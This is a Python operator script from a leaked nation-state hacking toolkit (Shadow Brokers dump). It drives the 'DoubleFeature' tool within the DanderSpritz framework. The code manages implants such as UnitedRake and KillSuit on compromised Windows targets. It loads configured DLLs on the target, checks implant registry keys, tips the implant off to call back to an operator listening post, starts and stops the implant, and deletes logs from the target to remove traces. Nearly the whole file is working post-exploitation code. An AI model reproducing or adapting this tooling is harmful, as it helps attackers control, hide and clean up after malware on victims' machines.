shadowbrokers-exploits/windows/Resources/Df/PyScripts/doublefeature.py
2017-04-14 11:45:07 +02:00

503 lines
21 KiB
Python

# DoubleFeature script version 3
import dsz
import dsz.file
import dsz.lp
import dsz.path
import dsz.process
import dsz.version
import random
import string
import sys
import os.path
g_default_logfile = ""
g_dfversion = "DOUBLEFEATURE 3.4.3.3"
g_dftool = "DoubleFeatureDll.dll.unfinalized"
g_dfconfiguretool = "AddResource.exe"
g_dfreader = "DoubleFeatureReader.exe"
g_dfrscfile = "Df_Rsc.txt"
g_debug_log = "~yh56816.tmp"
g_envdebug = "_DF_UR_DEBUG"
def main():
result = setup()
if result is None:
return False
(key, logfile) = result
isclean = False
while not isclean:
menuloop(key, logfile)
isclean = cleanup(logfile, g_debug_log)
try:
if dsz.ui.Prompt("Would you like to report a problem with UR?", True):
problemStr = dsz.ui.GetString("Enter a description of the problem you are seeing:")
dsz.cmd.Run("problem UnitedRake " + problemStr)
except:
pass
return True
def menuloop(key, logfile):
dsz.ui.Echo("")
menuoption = -1
#Need to do this temporary crap to handle 32 bit op boxes and 64 bit
#targets, since 32 bit AddResource cannot modify 64 bit binaries
if dsz.version.checks.IsOs64Bit() and not dsz.version.checks.IsOs64Bit(dsz.script.Env["local_address"]):
key = "badc0deb33ff00d"
while menuoption != 0:
for i in (
(""),
(g_dfversion + " - temporary menu"),
(" Encryption key: %s" % key),
(" Log file: %s" % logfile),
(""),
(" 0) Exit"),
(""),
("Setup"),
(""),
("Normal Usage"),
(" 1) Run Standard DF query"),
(" 2) Enable UR Logging"),
(" 3) Disable UR Logging"),
(" 4) Check registry for special UR key"),
(""),
("Advanced Usage"),
(" 5) Run a DF3 dll you configured"),
(""),):
dsz.ui.Echo(i)
menuoption = dsz.ui.GetInt("Enter menu option:", "0")
ret = None
for choice, action in (
(1, lambda: dostandard64bitdll(logfile, key)),
(2, lambda: do64bitEnableLogging(logfile, key)),
(3, lambda: do64bitDisableLogging(logfile, key)),
(4, lambda: geturguid()),
(5, lambda: docustomdll(logfile, key))):
if menuoption == choice:
ret = action()
else:
while menuoption != 0:
for i in (
(""),
(g_dfversion),
(" Encryption key: %s" % key),
(" Log file: %s" % logfile),
(""),
(" 0) Exit"),
(""),
("Setup"),
(" 1) Change encryption key"),
(" 2) Change log file"),
(""),
("Normal Usage"),
(" 3) Check registry for special UR key"),
(" 4) Run Standard DF query"),
(" 5) Tip-Off UR"),
(""),
("Advanced Usage"),
(" 6) Enable UR Debug Logging"),
(" 7) Disable UR Debug Logging"),
(" 8) Kick-start UR"),
(" 9) Shutdown UR"),
(" 10) Toggle FA Mode"),
(""),
("God Mode"),
(" 11) Run a DF3 dll you already configured"),
(" 12) Manually configure DF. Still uses the above log file and key. Make sure you know what you're doing here"),
(""),):
dsz.ui.Echo(i)
menuoption = dsz.ui.GetInt("Enter menu option:", "0")
ret = None
for choice, action in (
(1, lambda: changekey(key)),
(2, lambda: dsz.ui.GetString("Enter logfile path:", logfile)),
(3, lambda: geturguid()),
(4, lambda: dfquery(logfile, key)),
(5, lambda: urtipoff(logfile, key)),
(6, lambda: enabledebuglogging(logfile, key)),
(7, lambda: disabledebuglogging(logfile, key)),
(8, lambda: urkickstart(logfile, key)),
(9, lambda: urshutdown(logfile, key)),
(10, lambda: urtogglefa(logfile, key)),
(11, lambda: docustomdll(logfile, key)),
(12, lambda: manualconfigure(logfile, key))):
if menuoption == choice:
ret = action()
if menuoption < 1 or menuoption > 2:
continue
if menuoption == 1:
key = ret
elif menuoption == 2:
logfile = ret
def dostandard64bitdll(logfile, key):
dsz.ui.Echo("Running the DF Standard query")
configuredDllPath = g_dftool.replace("unfinalized", "standard")
dsz.ui.Echo("Ready to run tool...")
dsz.control.echo.On()
dsz.cmd.Prompt('dllload -ordinal 1 -library "%s"'%(configuredDllPath))
dsz.control.echo.Off()
dsz.ui.Echo("Finished.")
parselog(logfile, key)
def do64bitEnableLogging(logfile, key):
dsz.ui.Echo("Running the DF to Enable Logging")
configuredDllPath = g_dftool.replace("unfinalized", "EnableLogging")
dsz.ui.Echo("Ready to run tool...")
dsz.control.echo.On()
dsz.cmd.Prompt('dllload -ordinal 1 -library "%s"'%(configuredDllPath))
dsz.control.echo.Off()
dsz.ui.Echo("Finished.")
parselog(logfile, key)
def do64bitDisableLogging(logfile, key):
dsz.ui.Echo("Running the DF to Disable Logging")
configuredDllPath = g_dftool.replace("unfinalized", "DisableLogging")
dsz.ui.Echo("Ready to run tool...")
dsz.control.echo.On()
dsz.cmd.Prompt('dllload -ordinal 1 -library "%s"'%(configuredDllPath))
dsz.control.echo.Off()
dsz.ui.Echo("Finished.")
parselog(logfile, key)
def docustomdll(logfile, key):
configuredDllPath = dsz.ui.GetString("Enter the path to the DF3 dll you configured")
logfile = dsz.ui.GetString("Enter the output file path", logfile)
key = dsz.ui.GetString("Enter the key you configured it with", key)
dsz.ui.Echo("Ready to run tool...")
dsz.control.echo.On()
dsz.cmd.Prompt('dllload -ordinal 1 -library "%s"'%(configuredDllPath))
dsz.control.echo.Off()
dsz.ui.Echo("Finished.")
parselog(logfile, key)
def changekey(current):
key = dsz.ui.GetString("Enter hex encryption key (up to 128-bits, or NONE):", current)
if string.upper(key) == "NONE":
key = None
else:
for i in key:
if i not in "0123456789abcdefABCDEF":
dsz.ui.Echo("Invalid hex key. Keeping your original key.", dsz.WARNING)
key = current
break
if len(key) > 32:
key = key[0:32]
dsz.ui.Echo("Key truncated to 128-bits: %s" % key, dsz.WARNING)
return key
def geturguid():
dsz.control.echo.On()
if not dsz.cmd.Run('registryquery -hive l -key "Software\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\TypeLib"', dsz.RUN_FLAG_RECORD):
dsz.ui.Echo("Special registry key NOT present.", dsz.WARNING)
else:
[urguid,] = dsz.cmd.data.Get("key::value::value", dsz.TYPE_STRING)
if dsz.cmd.Run('registryquery -hive l -key "Software\Classes\CLSID\%s\InprocServer32"' % urguid):
dsz.ui.Echo("UR registry is present.", dsz.GOOD)
else:
dsz.ui.Echo("UR registry is NOT present. (This is OK on UR 4.5+)", dsz.WARNING)
dsz.control.echo.Off()
dsz.ui.Pause("Continue?")
def dfquery(logfile, key):
dsz.ui.Echo("Running the DF Standard query")
options = "-l"
dfputid = runtool(options, logfile, key)
parselog(logfile, key)
def manualconfigure(logfile, key):
options = dsz.ui.GetString("Enter the string to configure DF with:")
dsz.ui.Echo("Verify the options are correct before continuing. Incorrect options could cause adverse effects to the target!!", dsz.WARNING)
if dsz.ui.Prompt("Manual DoubleFeature Arguments: %s" % (options)):
runtool(options, logfile, key)
parselog(logfile, key)
def urtipoff(logfile, key):
lpip = dsz.ui.GetString("Enter LP address:")
lpport = dsz.ui.GetString("Enter LP port:")
options = "-t%s:%s" % (lpip, lpport)
dsz.ui.Echo("Verify your LP address and port before continuing.", dsz.WARNING)
if dsz.ui.Prompt("Tip off UR to call out to %s:%s?" % (lpip, lpport)):
dfputid = runtool(options, logfile, key)
parselog(logfile, key)
def enabledebuglogging(logfile, key):
dsz.env.Set(g_envdebug, "true")
options = "-d on"
runtool(options, logfile, key)
parselog(logfile, key)
def urtogglefa(logfile, key):
options = "-f"
runtool(options, logfile, key)
parselog(logfile, key)
def disabledebuglogging(logfile, key):
options = "-d off"
runtool(options, logfile, key)
dsz.env.Set(g_envdebug, "false")
parselog(logfile, key)
if getlog(g_debug_log) is None:
dsz.ui.Echo("No debug log file present. If UR is installed it may be asleep or not be running.", dsz.WARNING)
else:
dsz.ui.Echo("Note: No auto-parsing of debug log will occur; you must do this yourself.")
def urkickstart(logfile, key):
if not dsz.ui.Prompt("Are you sure that Killsuit and UR are both installed and UR just isn't running?"):
dsz.ui.Echo("User chose to bail.")
return None
options = "-k U"
runtool(options, logfile, key)
parselog(logfile, key)
dsz.ui.Pause("Wait a couple of minutes to give UR time to start up before continuing.")
def urshutdown(logfile, key):
if not dsz.ui.Prompt("Are you sure you want to shut down UR? Remember the restrictions.", True):
dsz.ui.Echo("User chose to bail.")
return None
options = "-s U"
runtool(options, logfile, key)
parselog(logfile, key)
dsz.ui.Pause("Wait a couple of minutes to give UR time to shut down before continuing.")
def parselog(logfile, key):
result = getlog(logfile)
if result is None:
dsz.ui.Echo("No DF logfile to get.")
return None
(localname, localdir) = result
dsz.ui.Echo("Auto-parsing DoubleFeature log...")
dsz.control.echo.On()
if key is None:
key = "51E6E45"
dsz.cmd.Run('local run -redirect -output oem -command "%s %s/NOSEND/%s %s"' % (g_dfreader, localdir, localname, key))
dsz.control.echo.Off()
#copy the created public key file into the nosend directory. This could be done more intelligently
#if you were willing to parse the created log file.
dsz.cmd.Run('local run -command "cmd.exe /C move *_public_key.bin %s/NOSEND"' %(localdir))
dsz.ui.Pause("Continue?")
def getlog(log):
if not dsz.file.Exists(log):
return None
dsz.control.echo.On()
dsz.cmd.Run('dir "%s"' % log)
dsz.control.echo.Off()
localname = None
localdir = None
if dsz.cmd.Prompt('foreground get "%s" -name DFReport_' % log, dsz.RUN_FLAG_RECORD):
localname = dsz.cmd.data.Get("FileLocalName::LocalName", dsz.TYPE_STRING)[0]
localdir = os.path.join(dsz.lp.GetLogsDirectory(), dsz.cmd.data.Get("LocalGetDirectory::Path", dsz.TYPE_STRING)[0])
dsz.cmd.Run("local fileattributes -file %s\\%s -replace Normal" % (localdir, localname) )
dsz.cmd.Run("local mkdir %s\\NOSEND" % localdir)
dsz.cmd.Run("local move %s\\%s %s\\NOSEND\\%s" % (localdir, localname, localdir, localname))
dsz.ui.Echo("Log file moved into NOSEND.")
if not dsz.cmd.Prompt('delete -file "%s"' % log):
dsz.ui.Echo("", dsz.WARNING)
dsz.ui.Echo("Log file NOT deleted from target - Don't forget to do this yourself!", dsz.WARNING)
dsz.ui.Echo("Useful pastable for when you want to do this:", dsz.WARNING)
dsz.ui.Echo(' delete -file "%s"' % log, dsz.WARNING)
dsz.ui.Echo("", dsz.WARNING)
dsz.ui.Pause("Continue?")
return (localname, localdir)
def setup():
global g_dftool, g_dfconfiguretool, g_dfreader, g_dfrscfile, g_default_logfile, g_envdebug, g_debug_log
dsz.control.echo.Off()
if not dsz.version.checks.IsWindows():
dsz.ui.Echo("DF requires Windows OS")
return None
if not dsz.version.checks.windows.Is2000OrGreater():
dsz.ui.Echo("DF requires Win2k or greater.")
return None
if not DoDEMICheck():
dsz.ui.Echo("DEMI check failed")
return None
(windir, sysdir) = dsz.path.windows.GetSystemPaths()
resdir = dsz.lp.GetResourcesDirectory()
g_default_logfile = "%s\\Temp\\~yh64762.tmp" % windir
logfile = g_default_logfile
g_debug_log = "%s\\Temp\\~yh56816.tmp" % windir
g_envdebug_l = "_DF_UR_DEBUG"
if not dsz.env.Check(g_envdebug_l):
dsz.env.Set(g_envdebug_l, "false")
if(dsz.version.checks.IsOs64Bit(dsz.script.Env["local_address"])):
local_arch = "x64"
else:
local_arch = "i386"
if(dsz.version.checks.IsOs64Bit()):
remote_arch = "x64"
else:
remote_arch = "i386"
local_os = "winnt"
remote_os = "winnt"
dfproj = "Df"
g_dftool = "%s\\%s\\Uploads\\%s-%s\\%s"%(resdir, dfproj, remote_arch, remote_os, g_dftool)
g_dfconfiguretool = "%s\\%s\\Tools\\%s-%s\\%s"%(resdir, dfproj, remote_arch, remote_os, g_dfconfiguretool)
g_dfreader = "%s\\%s\\Tools\\%s-%s\\%s"%(resdir, dfproj, local_arch, local_os, g_dfreader)
g_dfrscfile = "%s\\%s\\Tools\\%s-%s\\%s"%(resdir, dfproj, remote_arch, remote_os, g_dfrscfile)
key = hex(random.randint(0x10000000000000000000000000000000,0xffffffffffffffffffffffffffffffff))[2:-1]
return (key, logfile)
def DoDEMICheck():
if dsz.cmd.Run("plugins", dsz.RUN_FLAG_RECORD):
# got the list -- save the data
names = dsz.cmd.data.Get("remote::plugin::name", dsz.TYPE_STRING)
ids = dsz.cmd.data.Get("remote::plugin::id", dsz.TYPE_INT)
demiID = 0
for i in range(len(names)):
if names[i] == "KillSuit_Implant":
demiID = ids[i]
if demiID != 0:
if dsz.ui.Prompt("DecibelMinute(kisu) is loaded on target? It must be unloaded prior to DF runs. Do that now? (Y/N)"):
dsz.control.echo.On()
if not dsz.cmd.Run("freeplugin -id %s"%demiID, dsz.RUN_FLAG_RECORD):
dsz.ui.Echo("Error freeing plugin! Are you currently connected? Disconnect and try again!", dsz.ERROR)
dsz.control.echo.Off()
return False
else:
dsz.control.echo.Off()
return True
else:
return False
else:
return True
# do something with the returned data
else:
dsz.ui.Echo("Running Plugins failed!")
return False
return False
def cleanup(logfile, debug_log):
if dsz.env.Get(g_envdebug) != "false":
dsz.ui.Echo("UR debug logging was (possibly) left on!", dsz.WARNING)
if dsz.ui.Prompt("Return to menu to fix this?"):
return False
dsz.ui.Echo("User chose to continue.", dsz.WARNING)
filestoclean = []
if dsz.file.Exists(logfile):
if dsz.ui.Prompt("DoubleFeature log file is still on target. Remove it now?"):
if not dsz.cmd.Run('delete -file "%s"' % logfile):
dsz.ui.Echo("Failed to delete file.")
filestoclean += [logfile]
else:
filestoclean += [logfile]
if dsz.file.Exists(g_debug_log):
if dsz.ui.Prompt("UR debug log file is still on target. Remove it now?"):
if not dsz.cmd.Run('delete -file "%s"' % g_debug_log):
dsz.ui.Echo("Failed to delete file.")
filestoclean += [g_debug_log]
else:
filestoclean += [g_debug_log]
if filestoclean != []:
dsz.ui.Echo("", dsz.WARNING)
dsz.ui.Echo("Files left on target! Either cleaning failed or user chose to skip.", dsz.WARNING)
dsz.ui.Echo("Here are some potentially useful pastables if you change your mind:", dsz.WARNING)
dsz.ui.Echo("", dsz.WARNING)
for i in filestoclean:
dsz.ui.Echo(' delete -file "%s"' % i, dsz.WARNING)
dsz.ui.Echo("", dsz.WARNING)
else:
dsz.ui.Echo("No files left on target.", dsz.GOOD)
return True
def runtool(options, logfile, key):
if key is not None:
options = "-a %s %s" % (key, options)
if (logfile != g_default_logfile):
options = "%s -p %s" % (options, logfile)
configuredDllPath = configuredll(options)
if not DoDEMICheck():
dsz.ui.Echo("DEMI check failed. Not running tool..", dsz.WARNING)
return
dsz.ui.Echo("Ready to run tool...")
dsz.lp.RecordToolUse("DoubleFeature", "3.3.0.3", options)
dsz.control.echo.On()
dsz.cmd.Prompt('dllload -ordinal 1 -library %s'%(configuredDllPath))
dsz.control.echo.Off()
dsz.cmd.Run('local delete -file %s'%(configuredDllPath))
dsz.ui.Echo("Finished.")
def configuredll(options):
configureddllpath = g_dftool.replace(".unfinalized",
".configured")
dsz.cmd.Run("local copy %s %s"%(g_dftool,configureddllpath))
f = open(g_dfrscfile, "wt")
f.write(options)
f.close()
dsz.ui.Echo("Configuring the Dll with options: %s..."% (options))
dsz.cmd.Run('local run -redirect -command "%s cmpf 6 1104 %s %s"' %
(g_dfconfiguretool, configureddllpath, g_dfrscfile))
return configureddllpath
if __name__ == '__main__':
if (main() != True):
dsz.ui.Echo("Script aborted due to errors.", dsz.WARNING)
sys.exit(-1)